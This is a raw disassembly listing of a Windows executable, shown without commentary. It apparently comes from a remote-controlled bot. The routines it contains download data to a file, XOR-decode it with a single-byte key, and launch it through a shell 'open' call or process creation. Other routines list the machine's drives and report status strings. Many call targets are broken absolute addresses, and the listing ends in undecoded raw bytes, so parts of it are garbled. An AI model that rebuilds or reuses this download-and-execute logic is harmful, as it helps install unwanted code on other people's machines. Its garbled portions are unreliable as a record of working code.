loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4D08BC
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_43CD88
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4D08BC
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2680ACFh
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_42ED6C
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27107FCh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_43CF04
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 267093Fh
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_43CED4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_43CEB4


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D083C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4D0820
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0874
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_43CD88
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4D08BC
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		call	near ptr 26F0000h
		nop


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_43CE88
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4D08BC


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4D07D4
		call	dword_4D0728
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 27107FCh
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43D0D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 26A0B14h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4D0730
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 2700000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43D0A8
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43D080


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_443560
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43D054
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 26A0B14h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 267093Fh
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43D02C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43CFF4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4D0790
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_43CFD8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43CF94
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_4429D8
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2670C5Bh
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4D077C
		call	sub_418359
		push	esi
		call	near ptr 77E75CB5h
		nop


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_43CF60
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43CF34


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4D0858
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D8458
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4D0884
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_43D124
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_43D120
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4D0714
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_43D174
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_43D138
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4D078C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4D078C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 0D1D46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 0D1B468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2D923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 1868FFFFh
		dd 560043D2h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 0ED64BBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
